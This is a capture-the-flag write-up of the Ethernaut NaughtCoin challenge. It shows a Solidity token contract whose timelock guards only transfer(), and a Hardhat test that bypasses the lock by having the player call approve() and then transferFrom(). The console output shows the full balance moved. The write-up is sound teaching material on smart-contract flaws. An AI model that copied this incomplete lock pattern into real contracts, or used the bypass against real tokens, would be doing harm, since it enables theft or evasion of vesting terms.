This challenge highlights the risks that even well written base contracts can introduce in the child contracts. NaughtCoin contract wants to prevent the transfer of ERC20 tokens for 10 years. However someone possessing the tokens can easily use functions defined in the base contract to immediately transfer out the tokens and totally avoid the lock-in period. Please note, I upgraded the NaughtCoin contract to v0.8.0 to make it work with the lest version of OpenZeppelin’s ERC20 contract.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import '@openzeppelin/contracts/token/ERC20/ERC20.sol';
contract NaughtCoin is ERC20 {
// string public constant name = 'NaughtCoin';
// string public constant symbol = '0x0';
// uint public constant decimals = 18;
uint public timeLock = block.timestamp + 10 * 365 days;
uint256 public INITIAL_SUPPLY;
address public player;
constructor(address _player)
ERC20('NaughtCoin', '0x0')
public {
player = _player;
INITIAL_SUPPLY = 1000000 * (10**uint256(decimals()));
// _totalSupply = INITIAL_SUPPLY;
// _balances[player] = INITIAL_SUPPLY;
_mint(player, INITIAL_SUPPLY);
emit Transfer(address(0), player, INITIAL_SUPPLY);
}
function transfer(address _to, uint256 _value) override public lockTokens returns(bool) {
super.transfer(_to, _value);
}
// Prevent the initial owner from transferring tokens until the timelock has passed
modifier lockTokens() {
if (msg.sender == player) {
require(block.timestamp > timeLock);
_;
} else {
_;
}
}
}
//Hardhat Test (solution.js):
const { expect } = require("chai");
const { Wallet } = require("ethers");
const { ethers, network } = require("hardhat");
describe("NaughtCoin.sol", () => {
describe("Test run", () => {
it("should run fine", async () => {
const [owner, player, attacker] = await ethers.getSigners();
const naughtcoinContract = await ethers.getContractFactory("NaughtCoin")
const naughtcoin = await naughtcoinContract.deploy(player.address);
await naughtcoin.deployed();
// Verify deployment
console.log("naughtcoin address = " + naughtcoin.address)
console.log("owner address = " + owner.address)
console.log("player address: ", player.address)
console.log("attacker address: ", attacker.address)
//check balances before attack
let playerBalance = await naughtcoin.balanceOf(player.address)
console.log("player balance before attack:", playerBalance)
let attackerBalance = await naughtcoin.balanceOf(attacker.address)
console.log("attacker balance before attack:", attackerBalance)
// launch attack
// player has all the moolah
// player calls approve() to authorize itself to spend the moolah
await naughtcoin.connect(player).approve(player.address, playerBalance)
// player transfers all moolah to another address
await naughtcoin.connect(player).transferFrom(player.address, attacker.address, playerBalance)
//check balances after attack
playerBalance = await naughtcoin.balanceOf(player.address)
console.log("player balance after attack:", playerBalance)
attackerBalance = await naughtcoin.balanceOf(attacker.address)
console.log("attacker balance after attack:", attackerBalance)
});
});
});
Output:
--------
root@ununtu-vm:/home/user/Desktop/hardhat/ethernaut/NaughtCoin# npx hardhat test
NaughtCoin.sol
Test run
naughtcoin address = 0x5FbDB2315678afecb367f032d93F642f64180aa3
owner address = 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266
player address: 0x70997970C51812dc3A010C7d01b50e0d17dc79C8
attacker address: 0x3C44CdDdB6a900fa2b585dd299e03d12FA4293BC
player balance before attack: BigNumber { value: "1000000000000000000000000" }
attacker balance before attack: BigNumber { value: "0" }
player balance after attack: BigNumber { value: "0" }
attacker balance after attack: BigNumber { value: "1000000000000000000000000" }
✔ should run fine (1413ms)
1 passing (1s)